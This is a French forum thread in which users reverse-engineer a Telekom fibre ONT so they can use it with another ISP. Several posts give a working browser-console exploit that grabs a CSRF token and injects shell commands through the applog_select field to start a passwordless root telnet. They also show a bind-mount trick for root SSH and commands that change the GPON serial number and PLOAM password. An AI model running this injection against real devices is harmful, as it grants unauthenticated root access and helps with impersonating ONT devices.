customer_sn  gpon_sn      hw_version   mac_addr     pcba_sn
il semble qu'on puisse remount en RW la partition et donc modifier les valeurs
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
donne:
/tmp/var_link_dir/run # mount
/dev/root on / type squashfs (ro,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,mode=0755)
/dev/mtdblock22 on /mnt/rootfs type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime,size=64M)
sysfs on /sys type sysfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock5 on /tmp/var_link_dir/ft type jffs2 (rw,relatime)
/dev/mtdblock15 on /mnt/xml_config type jffs2 (rw,relatime)
/dev/mtdblock16 on /mnt/erasable_xml_config type jffs2 (rw,relatime)
/dev/mtdblock17 on /data type jffs2 (rw,relatime)

@mirtouf as tu toujours ton ONT pour tenté la modif sn ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 20:02:58
Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.
Oui mais par contre comme précisé dans un post précédent l'avantage de passer par un transversal path c'est que le setup.cgi ne vérifie pas le csrf token quand il voit un chemin non sécurisé en premier :)

Citer
En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".
pas directement comme ça parceque la chaine est passé à la commande tar mais après un ";" on peut effectivement lancer des commandes et ces dernières ont accès à tous le système car le mini_httpd est lancé .... en root ... et sans chroot ou limitation (y compris pour les cgi)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: mirtouf le 08 juin 2023 à 20:41:19
Bonsoir, oui je l'ai toujours, cela me permettra de voir si la TV fonctionne avec cet ONT.
Toutefois, j'ai uniquement lu en diagonale, quelles sont les commandes curl à lancer pour avoir accès à un shell ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 22:32:32
cat /proc/cmdline:
coherent_pool=4M cpuidle_sysfs_switch pci=pcie_bus_safe
Donc aucun root=xxx, et je ne sais pas qui monte /dev/mtdblock22 sur /mnt/rootfs.

/usr/sbin/board_init => /lib/libhal_product.so => /usr/sbin/fw_ctl --init ?
fw_ctl peut appeler ubiattach, mais c'est peut-être uniquement pour flasher.

cat /proc/mtd:
dev:    size   erasesize  name
mtd0: 00200000 00020000 "CfeROM"
mtd1: 00400000 00020000 "CfeRAM1"
mtd2: 00400000 00020000 "CfeRAM2"
mtd3: 000a0000 00020000 "FlashMAP"
mtd4: 000a0000 00020000 "SN"
mtd5: 00140000 00020000 "Protect"
mtd6: 01b80000 00020000 "Rootfs1"
mtd7: 00c80000 00020000 "Lib1"
mtd8: 01b80000 00020000 "Rootfs2"
mtd9: 00c80000 00020000 "Lib2"
mtd10: 000a0000 00020000 "Bootflg"
mtd11: 000a0000 00020000 "Rootfs1_Info"
mtd12: 000a0000 00020000 "Lib1_Info"
mtd13: 000a0000 00020000 "Rootfs2_Info"
mtd14: 000a0000 00020000 "Lib2_Info"
mtd15: 00280000 00020000 "XMLConfig"
mtd16: 00280000 00020000 "Erasable_XML_CFG"
mtd17: 00960000 00020000 "AppData"
mtd18: 00140000 00020000 "Yaffs"
mtd19: 010c0000 00020000 "Reserve"
mtd20: 00930000 0001f000 "rootfs_ubifs"
mtd21: 0029bf98 0001f000 "filestruct_full.bin"
mtd22: 003bd000 0001f000 "lib_squashfs"
Soit le CFE passe les partitions MTD dans la device-tree, soit le kernel a du code spécifique.
Les mtd20/21/22 sont très probablement créées par gluebi, encore faut-il attacher des UBI à Rootfs1 / Lib1 ou Rootfs2 / Lib2.

Je ne sais pas si c'est le /bin/login qui est patché ou telnetd et sshd ?
Les deux, /bin/login est un symlink vers sc_cli, mais telnetd et sshd sont aussi patchés.

echo "#!/bin/sh" > /tmp/slogin
echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin
echo "/bin/cttyhack /bin/sh" >> /tmp/slogin

/bin/chmod 755 /tmp/slogin

/usr/sbin/telnetd -l /tmp/slogin
A quoi sert le cttyhack ici ?
telnetd doit déjà allouer un PTY.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 22:34:32
pas directement comme ça parceque la chaine est passé à la commande tar mais après un ";" on peut effectivement lancer des commandes et ces dernières ont accès à tous le système car le mini_httpd est lancé .... en root ... et sans chroot ou limitation (y compris pour les cgi)
Le parlais de récupérer un fichier dans le tarball.
Pour du binaire, ça peut être plus pratique que de passer par une commande (même si une fois qu'on a un shell, c'est plus simple).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 22:45:17
ls /tmp/var_link_dir/ft
customer_sn  gpon_sn      hw_version   mac_addr     pcba_sn
il semble qu'on puisse remount en RW la partition et donc modifier les valeurs
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
Bizarre, dans /proc/mtd, mtd5 c'est Protect, c'est mtd4 qui s'appelle SN.

La partition SN, c'est peut-être là où j'ai vu J.DHP19M01E5 suivi de 0xFF.
Mais pour la suite ça ne colle pas, peut-être que les partitions ne sont pas contigues (pour voir l'offset, il faut regarder côté sysfs, ou /proc/device-tree si les partitions viennent de là).

En tout cas /usr/sbin/board_init => hal_mfs_flash_init (/lib/libhal_product.so) :
 - /etc/mount_fs.sh
 - copie de /var/ft/gpon_sn dans /tmp/hw_info/gpon_sn, et autres fichiers similaires
Par la suite, les autres programmes utilisent hal_mfg_gpon_sn, qui lit /tmp/hw_info/gpon_sn.

Donc on peut peut-être tester juste en modifiant /tmp/hw_info/gpon_sn, ce qui est temporaire donc sans risque.
Mais je ne sais pas si les utilisateurs comme umcid font l'appel quand ils en ont besoin, ou à l'init.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 23:06:32
Bonsoir, oui je l'ai toujours, cela me permettra de voir si la TV fonctionne avec cet ONT.
Toutefois, j'ai uniquement lu en diagonale, quelles sont les commandes curl à lancer pour avoir accès à un shell ?

Alors si je remets la séquence:

une fois que tu as accès à l'ONT en 192.168.100.1, si tu past le code suivant dans la console JS et que ca répond '1' tu devrais avoir un telnet sans mot de passe activé
// Fetch a non csrf protected page to get a csrf token
await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) {
return response.text();
}).then(function (html) {
//inject the html response into a HTML DOM to parse it
    var el = document.createElement( 'html' );
    el.innerHTML = html;
//The token is inserted into the first <script> tag of the page
    var es = el.getElementsByTagName( 'script' );
var aText = es[0].text;
//Add the csrf token in the document for other requests
    document.csrf_token = aText.match("'(.*)'")[1];
}).catch(function (err) {
console.warn('Something went wrong.', err);
});

//use the csrf token to activate telnet with no login and a shell

fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
  },
  body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/sbin:/bin:/usr/sbin:/usr/bin:/mnt/rootfs/bin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'
})
.then(res => res.json())
.then(console.log)

du coup telnet 192.168.100.1 devrait ouvrir un shell sans mot de passe en root

//EDIT avant d'attaquer la remount de cette partition @hwti propose d'essayer directement le fichier /tmp/hw_info/gpon_sn cf https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/msg1020441/#msg1020441)

Ensuite dans le shell tu peux remonter la partition avec les S/N en RW:
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
je serais d'avis de faire un backup des fichiers du dossier ft au cas ou ...



Dans tous les cas il faut applisquer le PLOAM password (cf methode curl déjà posté dans le thread)

Par contre a chaque reboot faut refaire la manip pour le telnet, le S/N faudra voir quel fichier fonctionne, le PLOAM est sauvé par contre. Tant qu'on a un telnet non secure il ne vaut mieux pas le garder après reboot.
EDIT le fichier a modifier est gpon_sn

Benoit

Voilà.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 23:15:42
Donc aucun root=xxx, et je ne sais pas qui monte /dev/mtdblock22 sur /mnt/rootfs.
Y'a pas mal de référence ubi dans des binaire différent c'est pas très pratique à suivre ...

Citer
Les deux, /bin/login est un symlink vers sc_cli, mais telnetd et sshd sont aussi patchés.
Oui, j'ai fini par comprendre, mais j'ai pas trouvé d'astuce pour ssh alors qu'ils ont laissé l'option -l de telnetd qui nous sauve ici.

Citer
A quoi sert le cttyhack ici ?
telnetd doit déjà allouer un PTY.
Oui on peut le retirer un oublie lié au test que j'ai faut pour comprendre ce que /bin/login faisait.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 09 juin 2023 à 10:21:21
Bonsoir, oui je l'ai toujours, cela me permettra de voir si la TV fonctionne avec cet ONT.
Toutefois, j'ai uniquement lu en diagonale, quelles sont les commandes curl à lancer pour avoir accès à un shell ?

A priori l'ONT reçoit bien la config iptv de Bouygues quand on lance la commande umci_ctl rg get iptv_conf
/usr/www-ap # umci_ctl rg get iptv_conf
Multicast gem idx: 1
CONF PORT NUM: 1
###########################################
IGMP CONF idx 0
MCAST CONF idx 0
PORT Index 0
Matched Vlan type 3, ID 1
MAX Simulate group 6
MAX Mcast bandwidth 0
IGMP version 2
IGMP func 0
IS Immediate leave 1
US_IGMP_RATE 12
Query IP Address 0.0.0.0
Query Interval 125
Query Response Time 100
US VLAN Action: transparent, TCI: 0x00
DS VLAN Action: transparent, TCI: 0x00
Access Table idx 0, row tpye 0:
gem_id    vlan_id   src_addr            start_grp_addr      end_grp_addr        bandwidth           
4095      100       0.0.0.0             224.0.1.0           239.255.255.255     0                   
###########################################
omcictl get iptv info succeed

pourtant dans mes tests avec un openwrt/igmpproxy on voit bien toutes les trames igmp/icmp mais jamais on ne voit le flux multicast arriver... pourtant il semble que la config ici prévoit bien ce cas de flux provenant de 0.0.0.0 donc le bridge devrait laisser passer le flux. Il n'y a aucune règle firewall sur l'OLT non plus à priori.

Par contre la partie UI parle d'un multicast_transparent feature mais je ne vois pas ce qu'elle impact ou si elle est plutot pour la modem/OLT de sercomm...

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 09 juin 2023 à 10:34:40
On doit également pouvoir changer l'OLT type via
uomci_ctl [-f <filename> ] stack <option>
        help                            -Help
        get version                     -Dispaly omci stack version.
        get omci_st                     -Dispaly statistics about omci status.
        set cmpt                        -Set compatibility of UOMCI stack.
        get cmpt                        -Get compatibility of UOMCI stack.
        get olt_type                    -Display OLT type.
        set olt_type                    -Set OLT type.
        set simulator                   -Set OLT simulator enable.
        conf load                       -Load omci config.
        conf dump                       -Display onu configuration.
        alarm report                    -Report alarm message to OLT.
        set log_level                   -Set omci stack loglevel.
        set manage_method               -Set ETH uni manage method.

dans le code UI on trouve une liste de valeur, par contre on trouve aussi une option auto_detect qui ne semble pas être dans l'outil uomci_ctl
        html += '<option value="1">'+getHTMLString(1301506)+'</option>'; //Huawei
        html += '<option value="2">'+getHTMLString(1301951)+'</option>'; //Ericsson
        html += '<option value="3">'+getHTMLString(1301507)+'</option>'; //ZTE
        html += '<option value="4">'+getHTMLString(1301508)+'</option>'; //Nokia
        html += '<option value="5">'+getHTMLString(1301509)+'</option>'; //FiberHome
        html += '<option value="6">'+getHTMLString(1301559)+'</option>'; //Eltex
        html += '<option value="7">'+getHTMLString(1301560)+'</option>'; //Str
        html += '<option value="8">'+getHTMLString(1301561)+'</option>'; //std /*No Private ME*/
        html += '<option value="9">'+getHTMLString(1301510)+'</option>'; //Others
        $('select#oletype_selection').html(html);
       
        html = '';
        html += '<option value="0">'+getHTMLString(1300002)+'</option>'; //Disable
        html += '<option value="1">'+getHTMLString(1301408)+'</option>'; //Enable
        $('select#gpon_auto_detect').html(html);

a priori chez moi je suis en Huawei et mon olt_type est bien 1 dans le config ...
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 09 juin 2023 à 12:12:15
Alors si je remets la séquence:

une fois que tu as accès à l'ONT en 192.168.100.1, si tu past le code suivant dans la console JS et que ca répond '1' tu devrais avoir un telnet sans mot de passe activé
// Fetch a non csrf protected page to get a csrf token
await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) {
return response.text();
}).then(function (html) {
//inject the html response into a HTML DOM to parse it
    var el = document.createElement( 'html' );
    el.innerHTML = html;
//The token is inserted into the first <script> tag of the page
    var es = el.getElementsByTagName( 'script' );
var aText = es[0].text;
//Add the csrf token in the document for other requests
    document.csrf_token = aText.match("'(.*)'")[1];
}).catch(function (err) {
console.warn('Something went wrong.', err);
});

//use the csrf token to activate telnet with no login and a shell

fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
  },
  body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'
})
.then(res => res.json())
.then(console.log)

du coup telnet 192.168.100.1 devrait ouvrir un shell sans mot de passe en root

//EDIT avant d'attaquer la remount de cette partition @hwti propose d'essayer directement le fichier /tmp/hw_info/gpon_sn cf https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/msg1020441/#msg1020441)

Ensuite dans le shell tu peux remonter la partition avec les S/N en RW:
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
je serais d'avis de faire un backup des fichiers du dossier ft au cas ou ...



Dans tous les cas il faut applisquer le PLOAM password (cf methode curl déjà posté dans le thread)

Par contre a chaque reboot faut refaire la manip pour le telnet, le S/N faudra quel fichier fonctionne, le PLOAM est sauvé par contre. Tant qu'on a un telnet non secure il ne vaut mieux pas le garder après reboot.

Benoit

Voilà.

a tester pour mettre le PLOAM password et le Serial number y'a une commande:
       gponctl getSnPwd
       gponctl setSnPwd
                    [ --sn  <xx-xx-xx-xx-xx-xx-xx-xx>
                      --pwd <xx-xx-xx-xx-xx-xx-xx-xx-xx-xx> (up to 36 bytes)]

exemple sortie bouygues HAEWEI ou XX sont les 15 chiffre de l'IMEI (cf premier post pour le trouver dans l'interface ou sur l'étiquette):
======== Serial Number & Password ========

   Serial Number: 53-43-4F-4D-YY-YY-YY-YY
   Password     : 00-00-0X-XX-XX-XX-XX-XX-XX-XX-00-00-00-00-00-00-
                  00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-
                  00-00-00-00

==========================================

//EDIT suite à une erreur de script j'ai malencotreusement lancer le script board_init qui efface les mtd5 et peut-être plus.... du coup j'ai perdu la config des numéro de série et ploam.

Du coup j'ai pu tester la comme gponctl pour mette à la fois le S/N et le PLOAM pwd, ca ne marche que si on stop gpon avant et relance après..

du coup
gponctl stop
gponctl setSnPwd --pwd 00-00-0X-XX-XX-XX-XX-XX-XX-XX --sn YY-YY-YY-YY-YY-YY-YY-YY
gponctl start

#on peut voir le status avec
gponctl getstate

par contre ca n'a pas l'air de rester post boot

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 09 juin 2023 à 18:13:35
Pour gponctl, ça semble être un outil Broadcom, cf  https://github.com/RMerl/asuswrt-merlin.ng/blob/e401e313fac7b7fda9e0b94e1ec13995d88aebb6/release/src-rt-5.02axhnd/userspace/private/include/gponctl_api.h (les APIs de la lib).
Donc ce n'est pas étonnant que les changements ne soient pas conservés après un reboot.

/lib/libhal_gpon.so et /lib/lib/libhal_gpon_manage.so font des appels à libgponctl.so.
Il y a /usr/sbin/hal_gpon_ctl qui est probablement un outil SerComm (donc un cran au dessus de gponctl).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 09 juin 2023 à 18:23:04
Oui, j'ai fini par comprendre, mais j'ai pas trouvé d'astuce pour ssh alors qu'ils ont laissé l'option -l de telnetd qui nous sauve ici.
S'ils ont patché un appel /bin/sh, on devrait pouvoir le remettre avec quelque chose comme :
echo -e "#!/bin/sh\nexec /bin/sh" > /tmp/sh
chmod 755 /tmp/sh
mount --bind /tmp/sh /bin/sc_cli
(on ne peut pas faire un bind d'un symlink directement, sinon argv[0] resterait "sc_cli", alors qu'il faut que ce soit "sh" pour que Busybox lance l'applet)

Oui on peut le retirer un oublie lié au test que j'ai faut pour comprendre ce que /bin/login faisait.
Donc "telnetd -l /bin/sh" fonctionne peut-être.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 09 juin 2023 à 18:57:48
Je me demande si on ne pourrait pas restaurer l'UI par défaut (temporairement).
Il faudrait un "mount --bind /tmp/index/html /usr/www-ap/index.html", et un /tmp/index.html qui :
 - charge js/mainFrame.js, js/mainFunctions.js
 - appelle main_init("overview")
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 09 juin 2023 à 19:38:06
Je me demande si on ne pourrait pas restaurer l'UI par défaut (temporairement).
Il faudrait un "mount --bind /tmp/index/html /usr/www-ap/index.html", et un /tmp/index.html qui :
 - charge js/mainFrame.js, js/mainFunctions.js
 - appelle main_init("overview")
Haha c'est marrant c'est ce que j'avais fait avec de l'injection JS depuis le navigateur tant que j'avais pas accès au telnet ca marche pas mal. mais j'ai pas pensé à le faire maintenant qu'on accès au FS :)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 10 juin 2023 à 00:14:26
Haha c'est marrant c'est ce que j'avais fait avec de l'injection JS depuis le navigateur tant que j'avais pas accès au telnet ca marche pas mal. mais j'ai pas pensé à le faire maintenant qu'on accès au FS :)

Bon ben c'est presque plus simple de faire des injections à coté, car il y a plein de cas de test qui renvoient vers /overview.html or cette page n'existe pas à la racine de /tmp/www et impossible de faire un bind sur un fichier non existant. Du coup je me suis dis qu'on pouvait copier www-ap en entient dans un dossier sur /tmp et relancer mini_httpd en le faisant pointer sur le nouveau dossier... impossible il dit que l'adresse est déjà utilisé pourtant j'ai bien tué le process. meme en essayant de lancer le mini_httpd sur un autre port... impossible .. etrange.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 10 juin 2023 à 00:17:06
Pour gponctl, ça semble être un outil Broadcom, cf  https://github.com/RMerl/asuswrt-merlin.ng/blob/e401e313fac7b7fda9e0b94e1ec13995d88aebb6/release/src-rt-5.02axhnd/userspace/private/include/gponctl_api.h (les APIs de la lib).
Donc ce n'est pas étonnant que les changements ne soient pas conservés après un reboot.

/lib/libhal_gpon.so et /lib/lib/libhal_gpon_manage.so font des appels à libgponctl.so.
Il y a /usr/sbin/hal_gpon_ctl qui est probablement un outil SerComm (donc un cran au dessus de gponctl).

Je me suis dis ça aussi mais les réponse de hal_gpon_ctl ne correspondent pas à ce qu'il y a dans les fichiers :(
/usr/www-ap # hal_gpon_ctl get_sn
argv[0]:hal_gpon_ctl
argv[1]:get_sn
sn:SCOM�;�"
/usr/www-ap # hal_gpon_ctl get_passwd
argv[0]:hal_gpon_ctl
argv[1]:get_passwd
password: (vide)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 10 juin 2023 à 18:46:12
S'ils ont patché un appel /bin/sh, on devrait pouvoir le remettre avec quelque chose comme :
echo -e "#!/bin/sh\nexec /bin/sh" > /tmp/sh
chmod 755 /tmp/sh
mount --bind /tmp/sh /bin/sc_cli
Oui! ca fonctionne pour sshd avec le /tmp/sh pour que busybox recoive l'applet name 'sh' on a un ssh fonctionnel ! qui vérifie le login 'DTTEL' (car sshd est patché pour l'existance du user aussi) existe dans /var/cli_pw par contre il ne vérifie pas le password... puisqu'on bind aussi /bin/login indirectement ...

Citer
Donc "telnetd -l /bin/sh" fonctionne peut-être.
Non telnet passe des arguments du coup sh execute et quitte en erreur.
//EDIT: les arguments {slogin} /bin/sh /tmp/slogin -m TELNET -p ::ffff:192.168.100.2

telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.

/bin/sh: can't open 'TELNET'
Connection closed by foreign host.

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 12 juin 2023 à 00:49:06
impossible de faire un bind sur un fichier non existant
On peut faire un bind sur un dossier, mais ça impose de copier tout le contenu (éventuellement uniquement des symlinks, si ça fonctionne).
Pour pouvoir simplement ajouter des fichiers, il faudrait utiliser overlayfs, mais il n'est pas activé dans le kernel (si on trouve des sources, ou si l'ABI n'a pas été modifiée, on pourrait le compiler nous-mêmes puisqu'on a la config kernel).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 12 juin 2023 à 00:59:51
Le plus simple resterait de savoir démarrer un autre mini_httpd sur un autre port ... ou redémarer le mini_httpd après avoir change le path.. mais on dirait que le daemon smd n'est pas d'accord, il fini par reboot l'OLT quand il ne voit plus son isntance mini_httpd.... pour le bind du dossier il faudrait binder /tmp/www ou /usr/www-ap mais comme mini_httpd a déjà démarré on dirait qu'il ignore le bind.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 12 juin 2023 à 01:04:33
Oui! ca fonctionne pour sshd avec le /tmp/sh pour que busybox recoive l'applet name 'sh' on a un ssh fonctionnel ! qui vérifie le login 'DTTEL' (car sshd est patché pour l'existance du user aussi) existe dans /var/http_pw par contre il ne vérifie pas le password... puisqu'on bind aussi /bin/login indirectement ...
Donc ils ont patché sshd pour qu'il fonctionne comme telnetd en fait !
Normalement il vérifie le mot de passe lui-même, puisque l'authentification fait partie du protocole, et pas en appelant login.
Sinon c'est /var/cli_pw, pas /var/http_pw.
On peut peut-être aussi injecter une clé publique dans /var/ssh/.ssh/authorized_keys.

Mais là rien n'est permanent, il faudrait s'intéresser à ce qu'il y a sur les JFFS2 (à partir du dump, je voyais des binaires mais les noms étaient bizarres.

Non telnet passe des arguments du coup sh execute et quitte en erreur.
//EDIT: les arguments {slogin} /bin/sh /tmp/slogin -m TELNET -p ::ffff:192.168.100.2
OK, donc ils sont rajouté des arguments spécifiques à sc_cli.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 12 juin 2023 à 01:06:38
Je me suis dis ça aussi mais les réponse de hal_gpon_ctl ne correspondent pas à ce qu'il y a dans les fichiers :(
/usr/www-ap # hal_gpon_ctl get_sn
argv[0]:hal_gpon_ctl
argv[1]:get_sn
sn:SCOM�;�"
Le SN n'est pas SCOMxxxxxxxx, où les xxxxxxxx en hexa auraient là été décodés en UTF8 (ce qui en limiterait l'utilisé) ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 12 juin 2023 à 01:17:26
Le plus simple resterait de savoir démarrer un autre mini_httpd sur un autre port ... ou redémarer le mini_httpd après avoir change le path.. mais on dirait que le daemon smd n'est pas d'accord, il fini par reboot l'OLT quand il ne voit plus son isntance mini_httpd.... pour le bind du dossier il faudrait binder /tmp/www ou /usr/www-ap mais comme mini_httpd a déjà démarré on dirait qu'il ignore le bind.
Normalement c'est -p pour le port, mais je suppose que tu as essayé.
Le message concernant l'adresse déjà utilisée est peut-être pour autre chose (socket unix, et pas TCP).
C'est le genre de choses qu'on peut regarder avec strace (https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/arm/strace pour un binaire utilisable).

Si le smd ou autre n'aime pas que les processus soient tués, c'est gênant.
On doit pouvoir demander d'arrêter des processus, peut-être via ubus (qui ne donne malheureusement pas les paramètres).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 12 juin 2023 à 14:34:16
Je pose le dmesg du boot ca pourra aider à comprendre la sequence.

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 13 juin 2023 à 01:23:59
sercomm : mtd setup!
Kernel boot magic : 0;1;1
Creating 20 MTD partitions on "brcmnand.0":
0x000000000000-0x000000200000 : "CfeROM"
0x000000200000-0x000000600000 : "CfeRAM1"
0x000000600000-0x000000a00000 : "CfeRAM2"
0x000000a00000-0x000000aa0000 : "FlashMAP"
0x000000aa0000-0x000000b40000 : "SN"
0x000000b40000-0x000000c80000 : "Protect"
0x000000c80000-0x000002800000 : "Rootfs1"
0x000002800000-0x000003480000 : "Lib1"
0x000003480000-0x000005000000 : "Rootfs2"
0x000005000000-0x000005c80000 : "Lib2"
0x000005c80000-0x000005d20000 : "Bootflg"
0x000005d20000-0x000005dc0000 : "Rootfs1_Info"
0x000005dc0000-0x000005e60000 : "Lib1_Info"
0x000005e60000-0x000005f00000 : "Rootfs2_Info"
0x000005f00000-0x000005fa0000 : "Lib2_Info"
0x000005fa0000-0x000006220000 : "XMLConfig"
0x000006220000-0x0000064a0000 : "Erasable_XML_CFG"
0x0000064a0000-0x000006e00000 : "AppData"
0x000006e00000-0x000006f40000 : "Yaffs"
0x000006f40000-0x000008000000 : "Reserve"
Donc c'est un bout de code spécifique qui détermine les partitions, le "Kernel boot magic : 0;1;1" vient de "Bootflg".
Dans tous les cas, le bootloader a déjà dû lire Bootflg, pour savoir où charger le kernel (filestruct_full.bin dans Rootfs1 ou Rootfs2).

ubi0: attaching mtd6
ubi0: scanning is finished
ubi0: attached mtd6 (name "Rootfs1", size 27 MiB)
ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 2048
ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096
ubi0: good PEBs: 220, bad PEBs: 0, corrupted PEBs: 0
ubi0: user volume: 2, internal volumes: 1, max. volumes count: 128
ubi0: max/mean erase counter: 1/0, WL threshold: 4096, image sequence number: 901840304
ubi0: available PEBs: 113, total reserved PEBs: 107, PEBs reserved for bad PEB handling: 5
ubi0: background thread "ubi_bgt0d" started, PID 402
ubi1: attaching mtd7
ubi1: scanning is finished
ubi1: attached mtd7 (name "Lib1", size 12 MiB)
ubi1: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
ubi1: min./max. I/O unit sizes: 2048/2048, sub-page size 2048
ubi1: VID header offset: 2048 (aligned 2048), data offset: 4096
ubi1: good PEBs: 100, bad PEBs: 0, corrupted PEBs: 0
ubi1: user volume: 1, internal volumes: 1, max. volumes count: 128
ubi1: max/mean erase counter: 1/0, WL threshold: 4096, image sequence number: 309480860
ubi1: available PEBs: 61, total reserved PEBs: 39, PEBs reserved for bad PEB handling: 4
ubi1: background thread "ubi_bgt1d" started, PID 417
block ubiblock0_0: created from ubi0:0(rootfs_ubifs)
VFS: Mounted root (squashfs filesystem) readonly on device 254:0.
devtmpfs: mounted
SC: mount libs(/dev/mtdblock22) to /mnt/rootfs, ret=0
Là encore il y a du code spécifique pour initialiser ubi, l'équivalent de "ubi.mtd=6 ubi.block=0,rootfs_ubifs root=/dev/ubiblock_0_0 ubi.mtd=7".
C'est peut-être gluebi qui crée les mtd20 / mtd21 / mtd22, et bizarrement pour le montage des libs leur code spécifique utilise /dev/mtdblock22 (au lieu de faire "ubi.block=1,lib_squashfs" et d'utiliser /dev/ubiblock_1_0).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 13 juin 2023 à 03:00:38
sercomm : mtd setup!
Kernel boot magic : 0;1;1
Creating 20 MTD partitions on "brcmnand.0":
0x000000000000-0x000000200000 : "CfeROM"
0x000000200000-0x000000600000 : "CfeRAM1"
0x000000600000-0x000000a00000 : "CfeRAM2"
0x000000a00000-0x000000aa0000 : "FlashMAP"
0x000000aa0000-0x000000b40000 : "SN"
0x000000b40000-0x000000c80000 : "Protect"
0x000000c80000-0x000002800000 : "Rootfs1"
0x000002800000-0x000003480000 : "Lib1"
0x000003480000-0x000005000000 : "Rootfs2"
0x000005000000-0x000005c80000 : "Lib2"
0x000005c80000-0x000005d20000 : "Bootflg"
